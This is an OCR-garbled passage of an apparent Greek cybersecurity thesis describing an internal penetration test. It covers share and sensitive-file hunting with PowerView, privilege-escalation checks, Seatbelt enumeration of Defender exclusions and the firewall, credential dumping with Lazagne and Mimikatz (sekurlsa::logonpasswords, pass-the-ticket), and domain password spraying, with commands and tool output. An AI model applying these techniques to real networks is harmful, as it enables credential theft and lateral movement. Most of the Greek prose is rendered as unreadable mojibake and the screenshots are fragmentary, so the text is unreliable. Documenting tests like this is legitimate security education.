+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to
XST

+ 7889 requests: 0 error(s) and 7 item(s) reported on remote host

+ End Time: 2022-02-08 10:48:54 (GMT-5) (57 seconds)

+ 1 host(s) tested

2 UMTTEPAIVOUNE AOITTOV, ATTO TA ATTOTEAEOUATA, OTI TTPOKEITAI YIa £évav Apache server
é€kdoong 2.4.33. O ouykekpiuévog webserver gival eUGAWTOG Kal XpeIageTal
evnuépwon n €kdoon Tou. MNMapouoiwg, evnuEpwon XPEIAZETAI KAl TO EPYAAEIO
OpenSSL pidag kar ye auto yivetal diaxeipion 0x1 HOVO TwV KAEIBIWV
KPUTTTOYPA®NOoNG aAAG Kal YEVIKOTEPA TOU KAVAAIOU aC@AAOUG ETTIKOIVWVIAG.
EmmAéov evroTtioTnke n TpwTtdTNTa OSVDB-877, GUP@WVA PE TNV OTToIA O
webserver emMTPETTEI TNV ENPAVION TwV ANPBEVTWY dedopévy, KUpPiwg yia Adyoug
IxvnAAdTnong. Auté Ba ptropolce va XxpnoIJoTToiNdEi ws HEBOBOG UTTOKAOTTAG TWV
YVWOTWV cookies Twv XpnoTwy, TO OTToi0 PE TN ocIpd Tou Ba PTTOPOUCE Va EXEl WG

QATTOTEAECHA TNV ATTOKAAUWN TWV CUVONUATIKWY TOU.
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6.5 EvTotmoudg file server kail dlIAPOIPACUEVWY APXEIWV

H mmpooTtéAaon SIapoIpaCUEVWY OTOIXEIWY KAl N TTANPOQOPIa TTOU UTTOPEI Va
avtAnBei y€oa atro auTd, YTTOPEI va ATToREl ATTOAUTWG XPrOIUN OTOV ETTITIBEPEVO.
Mépa atrd auTd, aTTOKTWVTAG TTPOCRACN OE aUTA Ta apXEia, apxeia TTou BewpouvTal
QO@AAr atTo YEPIAG TOU XPAOTN, MTTOPEI Va €100aXOEi KOKOBOUAO AOYIOMIKO, Kal va
EKTEAEOTEI AKOUOIO ATTO TOUG XPNoTeS. H pEBOdOG aUTA UTTAYETAI O€ Hia ATTO TIG

TOKTIKEG TWV TTAEUPIKWV KIVI|OEWV.

Na va evroTricoupe oTo UTTO OOKIWN SikTUO dlapoIpacuéva euaiodbnTa apxeia
xpnoigoTtroinoaue éva o€t evioAwv Tou Powershell o1 oTroieg avrikouv oTo
PowerSploit kal ouykekpipgéva oto PowerView, To OTT0i0 TTpoava@épinKe KaTd mn

oAapwon Tou EAEYKTA TOUEQ.

‘ETo1 AoiTtdv, apxIKa avakaAUTITOUNE v UTTAPXOUV dIapoIpAcElG OTO DIKTUO Kal
KATOTTIV WAXVOUE Yia euaiocbnTa apxeia. H avadntnon Twv euaiodnTwy apxeiwv
yivetal ye Baon Aé€eic-kAe1did 6TTwg: 'pass’, 'sensitive’, 'secret’, '‘admin’, ‘login’,

'unattend*.xml' , “*vmdk*’, “*creds*’ or “*credential®’.
O1 evTOAEG TTOU Bivoue ivai:

e PS C:\>Invoke-ShareFinder >> sharesoutput.txt  #l'a aveupeon

dlapoipdoewyv oTo domain.

e PS C:\> Invoke-FileFinder >> sharedFiles.txt  #lNa avelpeon

OIaOIPACOUEVWV APXEIWV.

ATTO Ta ATTOTEAEOPATA TWV EVTOAWYV TTAPATAPOUME OTI £XOUV EVTOTTIOTEI

dlapolpalduevol AKEAOI, OTTWG QaiveTal Kal 0TNV Eikéva 24.
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IPC$ 2147483651 Remote IPC

ADMINS 2147483648 Remote Admin

c$ 2147483648 Default share

IPC$ 2147483651 Remote IPC

Commaon 0

CopierScan il 0 This is the folder that scanned documents are sent fro the copier machine Can...
CopierScan | 0

CoplerScan | —— 0 This is the folder that scanned documents are sent fro the copier machine Can...
ESETVirusDatabaselUpdate 0 This folder contains the ESET virus database files that are created by the PC_..
Fonts 0

% 3221225472 Cluster Default Share

IPC$ 2147483651 Remote IPC

ADMINS 2147483648 Remote Admin

c$ 2147483648 Default share

Canon iR-ADV 525 || SR 1 Canon iR-ADV 525 ||| e———"

ES 2147483648 Default share

IPC$ 2147483651 Remote IPC

IR-ADV 525 111 | S 1IR-ADV 525 Il { Zmm
IR-ADV_CH535_ ar——] * 1{Thisisa phaotocopy machine with the ability to print in color located on the...

PaperCut Print Logger ]

print$ 0 Printer Drivers

WsusContent 0 A network share to be used by Local Publishing to place published contenton .
WSUSTemp 0 A network share used by Local Publishing from a Remote WSUS Console Instance.
ADMINS 2147483648 Remaote Admin

c$ 2147483648 Default share

IPC$ 2147483651 Remote IPC

Users 0

ADMINS 2147483648 Remaote Admin

c$ 2147483648 Default share

IPC$ 2147483651 Remote IPC

print$ 0 Printer Drivers

T lustarStaranad ATIIIEAT T Cluetar Sharad Valumae DNafault Shara

Eikova 24 Evrommioudg diauoipalduevwy QakéAwy

MapdAAnAa, pe TNV eKTEAEON TOU DEUTEPOU SCript TTApATNPOUNE OTI BPEBNKAV APKETA

apxeia euaioBnTou TTEPIEXOUEVOU, OTTWG PaiveTal 0TAV Eikéva 25.
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Owner - 0:5-1-5-21-2413620065-640003881-541142969-1001
CreationTime : 28/2/2022 2:52:18 pu
Path S, - 55 [ocal\Users\Admin\AppDatatLocal\Microsoft\Edge\User Data\Snapshots\85.0.564.67\Def

ault\Login Datajournal
LastAccessTime : 28/2/2022 2:52:18 py
LastWriteTime - 28/4/2021 10:45-43 Tip

Length 0

Owner - 0:5-1-6-21-2413620065-640003881-541142969-1001

CreationTime - 28/2/2022 2:56:19 pp

Path \ N - 2553 ocal\Users\Admin\AppData'\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwo
rds.txt

LastAccessTime - 14/3/2022 10-17-37 m|
LastWnteTime : 26/4/2021 6:17:30 iy

Length 271951

Owner - BUILTIN\Administrators

CreationTime : 14/8/2019 10:40:31 Ty

Path \\FileServer thalassa local\l$'Shares\Common'\Backups ¥ [ c sktop\Old Firefox Datatwoyy]

bwk defaultilogins json
LastAccessTime : 14/8/2019 10:40:31 mmy
LastWriteTime - 2/11/2016 10:24:12 iy

Length 1620

Owner - 0:8-1-5-21-2117379536-148867180-2776894972-13208

CreationTime - 1/3/2022 6:35:46 py

Path \WFileServer thalassa local\l$\Shares\Common\Backups SR esktop\Webinar Registration Success - Zoom_fi

les\mask_password.min js.download

Eikéva 25 Evromioudg diauoipalluevwy apxeiwv euaiobnTou mepiEXouévou

6.6 EvTommouog aduvauiwy o€ TTITTEDO TEPUATIKWV

H mTAnpogopia 1Tou ptTopei va avrAnBei kal va xpnoipoTroinBei yia 1o eTTouEVO
EMMOETIKO BAMQ UTTOPEI KAAAIOTA VA TTPOEPXETAI ATTO EUTTABEIEG KAl AOVOACPEVES
puBbuiceIg o€ TTITTEDO TTPOCWTTIKOU UTTOAOYIOTH. 2€ AUTO TO TEAEUTAIO Bria KUPIOG
OKOTTOG HAG Eival VO EVTOTTIOOUME TPWTOTNTEG TWV TEPHATIKWY, TUXOV ATTOBNKEUPEVA
ouvONUATIKA XpNOTWV Kal SIaxEIPIOTWYV, va EEXWPIoOoUUE TToId aTTd auTd eival
ATTOPAITATA, KAl VO EEOAEIYOUNE TA UTTOAOITTA, PETPIACOVTAG PE aUTOV TOV TPOTTO TV

ETTIBETIKN ETTIAVEIQ OTNV OTTOIA EKTIOETAI TO BIKTUO UAG.
Na Tov OKOTTO auTd Ba XPNOIUOTIOINCOUUE TA TTAPAKATW EPYAAEIQ aVOIXTOU KWOIKA:

e PowerUp
e Seatbelt

e PowerView
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e Lazagne
e Mimikatz

e Domain Password Spray

AVOAUTIKOTEPQ, EXOUME:

6.6.1 PowerUp

Me to PowerUp [23] utropouue va 0apwooupe KABE TEPUATIKO TTPOG avalnTnon Twv

KATWOI guTTaBEIWV:

e AlwayslinstallElevated

e CachedGPPPassword

e DomainGPPPassword

e HijackablePaths

e McAfeeSitelistFiles

e ModifiableServiceBinaries (aAAalel 1o bin atro 0 o€ 1 kal €101 EKTEAEITAI QUTOUATA )
oxl)

e ModifiableServiceRegistryKeys

e ModifiableServices

e RegistryAutoLogons

e RegistryAutoruns

e TokenPrivileges

e UnattendedInstallFiles

e UnquotedServicePath

Ymrapyel SuvatotnTa va yivel n odpwan yia Jio CUYKEKPIPEVN EUTTABEIQ, éva OET

QUTWV A KAl AWV Padi.

Zapwvovtag évav Tuxaio H/Y Tou uttd HeAETN BIKTUOU yia OAEG TIG eUTTABEIES padi, TO

QTTOTEAEOUA TTOU TTHPAME ATAV TO AKOAOUBO:
=== SharpUp: Running Privilege Escalation Checks ===
[*] In medium integrity but user is a local administrator- UAC can be bypassed.
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[*] Audit mode: running an additional 13 check(s).

=== Modifiable Reqistry AutoRun Files ===
HKLMASOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run :

C:\Program Files (x86)\ABBYY FineReader 12\Bonus.ScreenshotReader.exe

=== Modifiable Service Binaries ===

Service 'neo4j' (State: Running, StartMode: Auto) : C:\neo4j-community-
4.4.3\bin\tools\prunsrv-amd64.exe //RS//neo4j

[*] Completed Privesc Checks in 3 seconds

Mapatnpouue, Aoy, ot BPEBNKE apXEio TTOU UTTOPEI Va TTAPATTOINBEI Kal va
EKTEAEOTEI HEOQ OTN registry KOBWG Kal £va akOPa TO OTTOI0 PTTOPET VA TPOTTOTTOINOEI

£Evag XPAOTNG PE XauNAd TTpovoia.

6.6.2 Seatbelt

To seatbelt [24] TpdkeiTal yia Eva epyaleio avoixTou KwdIKa Yypauuévo o C#
TO OTTOIO EKTEAEI Hia OEIPA EAEYXWV AOQPAAEING AVTAWVTAG TTANPOPOPIES TTOU

a@opouv 1600 oTo oUCTNPA, OGO KAl OTOV XPHOTN.

EvoeikTIKA, duvaTtal va aviAoel TTANPOQPOPIEG TTOU aPOopPOoUV TN XPron Tou
OUCTAPATOG KaTA TNV TTAOAYNON oTOo d1adikTuo. [Na TTapddelyua JTTOPEi va EKUAIEUOEI
KWOIKOUG TTOU PTTOPEI va €XEI KpATOEI KATTOI0G QUAANOUETPNTAG, APXEIa I0TOPIKOU,
EVEPYEIEG TOU AVTIIKOU TTPOYPANMATOG, ] AKOUA KOl VO OTTOKAAUWEL EYYEYPAUMEVA
yeyovoTa (logs) euaioBntou trepiexouévou. ‘Eva atro Ta md onuavTika Tou
XOPAKTNPIOTIKA OPwG gival OTI QIATPAPE! TA aTTOTEAECUATA, ATTOBIOEI EUPHUATA TTOU
gival XpAoIPa Kal TTpoTEivel AUOEIG, €xovTag TTapAAANAa TNV TTIAOYR va TTAPOUUE KAl
a@IATPpApIOTa atroTeAéopaTa, avaAoya ue To Ti nTaue. Etriong ptmopei va Tpéger yia
QTTOMAKPUOUEVA CUOTHMATA XWPIG va XpeldaleTal atreuBbeiag auvdeon o€ autd. Me
QUTOV TOV TPOTTO UTTOPOUE VO ATTOKTIOOUKE TTANPOPOPIES VIO TOUG OTOXOUG UG,
TIPIV KIVNOOUUE TTAEUPIKA, va TIG HEAETAOOUE, VA TIG EKTIUACOUNE Kal avaAoya va

TIPALOUE.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
43



ArTAwuaTIKN epyaacia OEOAQPIAOY MAPIA — AAMMNAZ FEQPIIOZ

2T0 UTTO MEAETN BIKTUO, WAXVOVTAG YIa TPWTOTNTEG AEITOUPYIKOU, (OTN
OUYKEKPIPEVN TTEPITITWON €TIAECapE TO Microsoft .Net, 6TTwg @aiveTal 0T
TTapadelypa TnG Eikdva 26) Trapatnpoupe oTi To .Net ival eykaTteoTnuévo Kal
EVNUEPWHEVO OAAG N TTAAIG TOU €KDOOT) DEV E£XEI ATTEYKATAOTAOEI. ZUVETTWG,
XPNOIMOTTOIWVTAG TNV JITTOPOUNE va KAvoupe bypass to AMSI. AvdAoyn evépyeia

MTTOpPEI Va yivel kal pe To Powershell.

Installed .NET W
3.5 3

3. 29.4926
4.8.848584

Anti-Malware Scan Interface (AMSI)
05 supports AMSI : True
.NET wersion support AMSI : True

Eikbva 26 Tpwrdtnres NAeitoupyikoU 2uoThUATOS

To seatbelt Trepi€xel douikd oToixeia (modules), Ta oTToia PTTOPOUNE Va
KAAEOOUE VIO va OUadOTTOINCOUNE EVTOAEG (TTX EVTOAEG TTOU OQOPOUV remote
access) oAAG PUTTOPOUHE Kal VO EKTEAECOUME PACIKA OAEG, PME TNV ETTITTAEOV
QuUVATOTNTA VA EI0AYOUNE TTAPAUETPOUG TTEPIOPIOHUOU TWV ATTOTEAECUATWY. Ta
Oouiké oToixeia (modules) TTou pag evalapEéPOuUV TTEPICTOTEPO OTN CUYKEKPIPEVN

TTEPITITWON €ival Ta €EAG:

e AutoRuns

e \WindowsFirewall

e MicrosoftUpdates

e EnvironmentPath

e EnvironmentVariables
e NamedPipes

e OSinfo
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e Filelnfo

e Reg

e Hotfixes

e RPCMappedEndpoints
e ScheduledTasks

e InstalledProducts

e InterestingProcesses

e Services

e TCPConnections

e UDPConnections

21NV Eikéva 27 BAETTOUNE Ta atTOTEAEOUATA TTOU Ba TTAPOUKE av oKavapoupe Tov H/Y
yia TCP/UDP ocuvdéocic. Maparnpouue OTi av n uTTnpeaia akouel o€ OAa Ta
interfaces (0.0.0.0) t6t1e 0 H/Y civai uttown@iog yia RCE. Av deoueUeTal TOTTIKA
(127.0.0.1) kan TpExel oav “system” TOTE €ival MOavOg oTOXOG yia local privilege

escalation.

TcpConnections ======

Local RAddress Foreign RAddress State
0 .0:135 0 :0 LISTEN
: LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN 49086 HPJumpStartBri
LISTEN
LISTEN
LISTEN 676
LISTEN 24 EwventLog
LISTEN e
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

11
14
14
14
14
14
14
14
14

Eikéva 27 Seatbelt - TCP Connections Module

AvrtioTolxa, av emmAEgoupe va TpéEoupe To module Tou WindowsDefender ptropoupe
va doupe TToid paths egaipouvTal Twv Kavovwy Tou, OTTOTE Kal Ba YTTopouuE va
ypAwouue o€ auTd yia va KivnBouue TTAeupiké oTo dikTuo. Ta ammoTeAéopaTa

@aivovtal oTnv Eikéva 28.
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PSR SERRAAR

S CCCC
RS E AR RSN REREE ((
##########w##w#(( (

Seatbelt
vi.1.1

===—= WindowsDefender ———
Locally-defined Settings:
Path Exclusions:
indowsPowerShell
indows PowershelT'wl. 0%\Modules
\Usershadmin'Downloads
Pc-] i Lw1anauerPat}1Exc1 sions:

indows PowerShell
indowsPowershel T wl. 0\Modules

GPO-defined Settings:

[*] Completed collection in 0.04 seconds

Eikéva 28 Seatbelt - Windows Defender Module

Mapopoiwg prropoupe va okavapoupe Tov H/Y yia va doUpe O€ TI KATAOTAON
BpiokeTal To windows firewall. 2Tn ouykekpipévn TTEPITITWON BAETTOUNE OTI OEV PAG
Treplopidel TTouBeva To firewall oéTE PTTOPOUNE Va KIvnBoUuE TTAEUPIKA Kal va

atrapiBuiooupue K&TTolo AAAo oToixeio Tou dIkTUOU (Eikéva 29).
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HERADAEE

HoRAE
Eobe= =4

SEEEEREEER AR ER R ((# (# (B ( ((
SEEHEEE e (4 (e ( (Rans
DOOCHE SR R (R (e
OO I R
seatbelt E OO A R
vi.1.1 BT

===—= WindowsFirewall ===—=—=

Collecting Windows Firewall Non-standard Rules

Location : SOFTWAREZPolicies‘\Microsoft\WindowsFirewall
Location : SYSTEM\CurrentControlSet\Services‘\SharedAccess\Parameters\FirewallPolicy

Domain Profile
Enabled : False
Nicahlobiotifications -
DefaultInboundAction @ ALLOW
DefaultOutboundAction @ ALLOW

Public Profile
Enabled : False
DisableMotifications : False
DefaultInboundAction : ALLOW
DefaultOutboundAction : ALLOW

Standard Profile
Enabled : True
DisableNotifications : False
DefaultInboundAction T ALLOW
DefaultOutboundAction : ALLOW

Eikéva 29 Seatbelt - Windows Firewall Module

EmmAéov pytTropoupe va doupe TNV £€KOooN TOU AEITOUPYIKOU CUCTAUATOG Kal
AAAEG AETTTOPEPEIEG OTTWC VIO TTAPADEIYUA AV €XOUME TN duvaTOTNTA VA EETTEPACOUNE
10 UAC avdAoya ue Ta dikaiwuatd pag (yia privilege escalation). Ztnv TTapakaTw

eikdva (Eikéva 30), @aivetal 0TI autd dev gival duvaTdv:
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BuildBranch
Curre jorVersionNumber

TimeUtc (ap X} H ¥ :01 PM (Total uptime: 10:04:22:25
Integrity
callhdmin
entTimeUtc : :00:26 PM (Local time:
rd Time

InputLanguage
InstalledInputLanguages
MachineGuid : 41d4 Saac-4cl0-al6f-06£4b10981cT

Eikéva 30 Seatbelt - OS Info Module

Ooov agopd, AoITToV, OTIG TTAEUPIKES KIVIOEIG HEAETWVTAG T ATTOTEAEOUOTA
TTOU Ba TTAPOUNE PITTOPOUNE VO aVOKOAUWOUHE E0QAAUEVES puBuioeIc TTou Ba pag
ETTTPEWOUV VA TTEPACOUNE O€ AANO UNXAvNUa i EVOEXETAI VO AVAKAAUWOUNE KATTOIO
MN QVOVEWPEVO AOYIOUIKO JE TPWTOTNTEG TIG OTTOIEG JTTOPOUNE ETTIONG VO

EKMETAAAEUTOULE.

6.6.3 PowerView

To PowerView [21], epyaAcio TTou TTpoava@épBnke TOGO OTNV ATTapiOuNon EAEYKTN
TOPEQ 000 Kal oToV evTOTTIOUO file server Kal dIaUOIPACUEVWY APXEIWY, UTTOPEI
KAAANIOTO VO XPNOIYOTToINOEI Kal yIa EVTOTTIONO adUVOUIWY O€ ETTITTEOO TTPOCWTTIKOU
UTTOAOYIOTH], KAAWVTAG TIG AVTIOTOIXEG AgiToupyieg Tou. O1 TTapakdTw AEITOUpYieg

MTTOPOUV VA €KTEAECTOUV KAl GTOV TOTTIKO KaI O€ ATTOUAKPUOHEVO HYY.
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Computer Enumeration Functions:

Get-NetLocalGroup

ATTapIOUEi TIG TOTTIKEG OADEG OTIG

oTroieg avnkel o H/Y

Get-NetLocalGroupMember

ATtrapiBuei Ta géAN TNG opadag aTnv

otroia avrkel o H/Y

Get-NetShare

ATTapIOuEi TUXOV BIKTUOKOUG

dlauoIPaCUOUg

Get-NetLoggedon

ATTapIBuei Toug ouvdedEPEVOUG XPAOTEG
otov H/Y

Get-NetSession

ATTapIBuei TIG evepyEg auvedpieg

Get-ReglLoggedOn

EmoTpé@el TTo10G gival ouvoedEPEVOS
otov H/Y péow atmapidunong

QTTOMAKPUOUEVWYV KAEIDIWV TNG registry

Get-NetRDPSession

EmoTpéel TTAnpo@opieg TTou apopouv
ouvedpieg oUVOEONG ATTOUAKPUOHEVNG

ETTIPAVEIOG EPYATiag

Test-AdminAccess

EAEyxel Qv 0 TPEXWYV XPAOTNG EXEI

SIKalwpaTa SIaXEIPIOTN

Get-NetComputerSiteName

EmoTpégel TNV TOTTOBECIA TNG
uttnpeaiag kataAdyou (AD) é1Tou
BpiokeTtal o H/Y.

Get-WMIRegProxy

ATTapIBuEl TOV proxy server Kai 1o

WPAD TOU OUYKEKPIMEVOU XPrioTN.

Get-WMIRegLastLoggedOn

EmioTpépel Tov XprjoTn TTou ouvoEBnKe

TeAeuTaiog otov H/Y.
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Get-WMIRegCachedRDPConnection

EoTpé@el TTANpOPOpiES yia ouvedpieg
oUvVOEONG ATTONAKPUOHEVNG ETTIQAVEIAG

gpyaaciag trou TTnyacouv atréd tov H/Y.

Get-WMIRegMountedDrive

EmoTpégel TTAnpo@opicg yia

OUVOEDEUEVOUG DIKTUOKOUG XWPOUG

Get-WMIProcess

EmoTpé@el pia Aiota d1adikaoiwy Kal
TOUG QVTIOTOIXOUG IDIOKTHTEG TOUG

(owners)

Find-InterestingFile

Wayvel yia diapolipacpéva apxeia
uwnAou evOIOQEPOVTOG, ME BACT AEEEIG

KAEIOIA OTO OVOUA TOU APXEIOU TOUG.

lMivakag¢ 1 - PowerView - Computer Enumeration Functions

21NV Eikéva 31 BAETTOUNE TO ATTOTEAECUOTA TTOU Ba TTAPOUNE AV TPECOUUE PEPIKEG

atro TIG EVTOAEG TOU Mivakag 1. M6 avaAuTikd, pabaivouue o€ TToId group avhkel o

ouyKekpIpévog HIY, BAETTOUUE OTI £XEI DIKAIWUATA TOTTIKOU DIOXEIPIOTH, OEV EXEI

QTTOBNKEUPEVEG OUVEDPIEC ATTOPOAKPUONEVNG ETTIPAVEIAG EPYATiag, Kal TEAOG

QAvTAOUNE TNV TTANPOQOpPIa yia TO TToIOG €ival O TEAEUTAIOG XPriOTNG TTOU OUVOEBNKE O€

auTtov Tov H/Y.
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PS C:\» Get-NetlLocalGroupMember

Computeriame
Grouplame
Memberiame
5ID

IsGroup
IsDomai

Group
Memberiame
SID
IsGroup
IsDomai

Computeriame
Grouplame
Memberiame
5ID

IsGroup
IsDomai

LAPTOP-

Administrators

20-46d3-94e(

LAPTOP- .
Administrators
LAPTOP

5-1-5-21

PS C:\» Test-AdminAcce

Computeriame
IsAdmin
RunspaceId

localhost

8-464a-94ed-

Get-WMIRegCachedRDPConnection
Get-WMIReglLastlLoggedOn

Compu
Lastle
Runs

localhost
2811
464a-94ed-

ds3deid

ds3deid

ds3deid

2fds3deld

Eikova 31 PowerView - Computer Enumeration Functions

6.6.4 Lazagne

A@ou éxouv oopwBei Ta TEpUATIKA yia AavBaopéveg puBpioelig Asitoupyikou dev Ba

MTTOPOUCE TTAPA VA ETTIKEVTPWOOUUE OTOV EVTOTTIONO TUXOV ATTOONKEUNEVWV

ouvVONUATIKWV TwV XpnoTwv/dlaxeipioTwy. MNMépa atrd 10 yeyovog 0TI UTTOPOUE VA TA

EVTOTTIOOUE, Ba ptTopoucape KAANIOTA va Ta EAEYEOUE yIa TO AV TTANPOUV TIG
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OTT0IEG TTPOUTTOBECEIC. 'EVa £pyaAgio avoixTou KWAIKA TTOU EVTOTTICEI Kal

QTTOKPUTTTOYPA®Ei KWAIKOUG atToBnKeuphéVoug TOTTIKA, €ival To Lazagne [25]. Kal

auTd Asitoupyei KaOAwvVTag evoTnTeg (Modules) evioAwv, avaAoywg PE TO Ti aKpIBWG

waxvoupe. O1 evdTNTEG AUTEG €ival OPAdOTTOINUEVEG CUUPWVA PE ToV Mivakag 2.

Module AgiToupyia

chats EvroTriel atroBnKeupEéVOUG KWAIKOUG
QTTO TUXOV TTPOYPAUMATA CUVOUIAIWV

mails EvroTriel atroBnKeUpEVOUG KWAIKOUG
NAEKTPOVIKOU TaxUudpoEiou

all EkTeAEi OAEG TIG EVTOAEG padi

git EvroTriel aroOnKeEUPEVOUG KWAIKOUG
QaTTo TO git

svn EvToTriel atroBnKeupévoug KwdIKOUG
atro 10 svn (Windows shell extension)

windows EvToTriel atroBnKeupévoug KwdIKoUG
Twv windows

wifi EvroTiel aroOnKeUPEVOUG KWAIKOUG
aTTo Ta aoUppaTa dikTua (wifi)

maven EvroTiel atroBnKeupévous KwdIKoUg
oto maven (Apache)

sysadmin EvroTiel atroBnKeupévous KwdIKoUg
Tou sysadmin

browsers EvToTriel aroOnKeEUPEVOUG KWBIKOUG
OTOUG QUAAOUETPNTEG

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia

52



ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

games EvToTiel atroBnKeUupEVOUG KWAIKOUG
o€ TTaIxvidla
multimedia EvroTridel atroOnKeUpEVOUG KWOIKOUG

o€ d1apopa TToAupEoa

memory EvroTriel atroOnKeUpEVOUG KWAIKOUG

otn uvnun (Keepass mimikatz method)

databases EvroTriel atroBnKeupéVous KwAIKOUG

o€ Baoeig dedopévwv

php EvToTriel aroOnKeUPEVOUG KWAIKOUG

oTtnv php.

lMivaka¢ 2 — Lazagne Modules
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Authentic

User: admin #éff#edddeddddedd

#freitdraitieaied

Ho s foun

#freitdraitieaied os #iitiieiiiiseiieeg

Eikova 32 Avdktnon kKwoikwv e xprion tou Lazagne

Méoa ota atmmoteAéopara Tou Lazagne, 6TTwg autd @aivovtal otnv Eikéva 32,
TTapartnpeouue Ot Tépa atrd Ta hashes 1ou T pape, BPAKAUE KAl TOUG KWAIKOUG TwV
wifi, ev yével TpWTO onueio evdg dIkTUoU. To agloonueiwTo gival 6Tl EVTOTTICAUE
KWOIKO TToU eTTavaAapBaveral. Me tnv idia Aoyikr], autdg 0 KWBIKOGS 1 KATTOI0G AANOG
MTTOPEI va eTTavVaXENOCIUOTTIOIEITAI O XPHOTN PE avePaopéva dikaiwpara. Na Tov
AOYO auTd, Ba TTPoCoTTaBooUpnE va CUAAEEOUUE OO0 TTEPIOTOTEPOUG KWOIKOUG
MTTOPOUE VIO va EAEYEOUNE, QUTOPATOTTOINUEVA, UE E10IKO TTPOYPANMA, AV KATTOIOG

QTTO QUTOUG UTTOPEI VO QUBEVTIKOTTOINOEl XPrOTN ME SIKAIWPATA BIAXEIPIOTA.

6.6.5 Mimikatz
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To mimikatz [26] €ival éva eCaIPeTIKO epyaleio TTOU @apuUOlel SIAPOPES TEXVIKES
e€ayYWYNAGS KWOAIKWYVY TTOU gival TIPOCWPIVA atroBnkeupévol oTn pvAun [LMitreAttack
Mimikatz]. ‘Exer Tn duvarotnTa va e¢ayel plaintext kwdikoug, hashes, certificates,
private keys, PIN codes, kai kupiwg gio1mipia Tou KépBepou. EidikdTeEpa 6oov apopd
TNV AUBEVTIKOTTOINON YEOW KEPPBEPOU, UTTOPEI VO TTPOCOUOIWOEI KOl VO EKTEAEDEI TA
Tpia BrpaTa TTOU aTTaITOUVTAI VIO va EAYEl TO hash Tou XpAoTn TTOU XPNOIUOTTOIE]
TETOIOU €i0OUG AUBEVTIKOTTOINON KAl va dNUIOUPYROEl VEQ EICITHPIA TOU KEPBEPOU
(pass-the-tickets). Auvaral aképa va xtioel kal Golden tickets.

XpNOIUOTTOIWVTAG AOITTOV, TO CUYKEKPIMEVO TTPOYPANKa Ba TTPOCTTaBrC0oUE Va
QAVTAN|OOUUE OO0 TTEPICCOTEPOUG KWOIKOUG XPEIACETAI VIO VO TOUG XPNOIUOTIOINCOUUE
OTO €TTOMEVO Brua.

O1 atrAoi KwdIKoi uTToPOUV Va avTANBoUV APECa EKTEAWVTAG TNV EVTOAN
sekurlsa::logonpasswords evw o1 KpUTTTOYPA@NPEVOI KAl TA EICITAPIA TOU KEPBEPOU

atraitolv Trepaitépw diepyaaoia offline (Eikova 33).

: Interactive

CAL

; renewalfems, forwardable ;

]
est.local.kirbi

T BM

; renewable ; forwardable ;

Eikéva 33 Mimikatz - EEaywyn KwoIKWVY aoeaAsiag kai eioinpiwv KépBepou
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6.6.6 Domain Password Spray

MAéov a@ouU €xoupe apKETOUG KWAIKOUG OTA XEPIa pag Ba wdagouue va douue av
KATTOIOI ATTO AUTOUG ETTAVAXPENOCIMOTTOIOUVTAI YIA QUBEVTIKOTTOINON XPNOTWV HE
augnuéva dikaiwpaTta. MNa tnv oAokAfpwon autou Tou BAPATog Ba

XPNOIMOTTOINCOUNE TO EpYaAgio avoixTou Kwdika Domain-Password-Spray [27].

Mrtropoupe va eAéyEoupe Evav XproTn yia €va KwIKO, £vav XprioTn yia AioTta
KWOIKWV ) akOPa Kal AioTa XpNoTwV yia AioTa KWOIKWY, APKEI VA TO TTPOCBIOPICOUUE

oTNV YPOMUNA EVTOAWV.

2€ OuvOUAONO e TTponyouueva BAPATa AoITTov, eAEyEapE av 0 KwOIKOS TTOU
Bprkaue yia Ta wifi “CeKAEIDWVEI” KATTOIO XPOTN TOU EAEYKTI TOMEQ UE AUENUEVA

dIkaiwparta. To atroTéAeopa ATav BETIKO Kal @aiveTal oTnV Eikéva 34.

Eikéva 34 Aokiun kwdikwyv pe 1o Domain Password Spray

6.7 Zuptrepipopad Xpnotwv / MNMpoodiopiouds xpnong H/Y

TeNIKO KOPPATI TNG GUANOYNG OEDOUEVWV TTPETTEI VA ATTOTEAEOOUV TA DEQOMUEVA TTOU

Q@OPOUV OTN CUMTTEPIPOPA TWV XPNOTWV.
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AUTO TTOU Pag evOIa@EPEI oAV TTANPOPOPIA Eival TOPWGS OI QUANOUETPNTEG, TTOIOI Eival
QUTOI, TTOIEC EKOOOEIG TOUG Eival EYKATEOTNUEVEG, O€ TTOIEG IOTOOEAIDEG TTAONYOUVTAI Ol

XPNOTEG, TUXOV atToBnKeupEVol KwOIKOi € autoug, Ta cookies, Ta favorites KATT

Etriong pag evdiagépouv Ta apxeia TTou KateRAlouv ol XpnoTeg atrd 1o dIadiKTUO
aAAd Kal aTTo Ta email Toug, TUXOV QVOIXTEG OUVEDPIEG ATTOUAKPUOPEVNG OUVOEONG
Kal KAEIDIQ auTwV, 0 KAOOG aVaKUKAWONG, N TTapouadia Toug aTo TrepIBAAAov slack,
Kal QUOIKA Ta TTpoowpPIva apxeia Tou Microsoft Office kai Tou explorer (run

commands).

Kai autl n cuAAoyr dedopévwv PTTopei va yivel pe 1o seatbelt kaAwvTag Ta €€AG

modules:

e ChromiumBookmarks
e ChromiumHistory

e ChromiumPresence
e FirefoxHistory

e FirefoxPresence

e |EFavorites

e |ETabs

e |EUrls

e OutlooDownloads

e ExplorerMRUs

e ExplorerRunCommands
e SuperPutty

e SlackPresence

e SlackDownloads

e SlackWorkspaces

e Filezilla

e IdleTime

e Recycle Bin

e Office Most Recent Used Files
e LocalGroups

e TokenGroups
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e TokenPrivileges

e PuttyHostkeys

e PuttySessions

e RDPSavedConnections

o RDPSessions

MNa Tapdadeypa, otnv Eikéva 35 BAETTOUNE Ta atToTeEAéOATa Tou seatbelt
xpnoigotroiwvtag To module FirefoxPresence. MNMapatnpoupe o1 €xel Bpedei Eva
password file kal To TTPOYpPAPUa Pag KaBodnyei yia To TTWS ITTOPOUE Va TO
QVOKTAOOUME. ZTNV aPéows €TTOPEVN €IKOVA, Eikova 36, £xovtag TpéEel Ta modules

TokenGroups kal TokenPrivileges, avTAoupue TTANPOPOPIES yIa TO token Tou XproTn

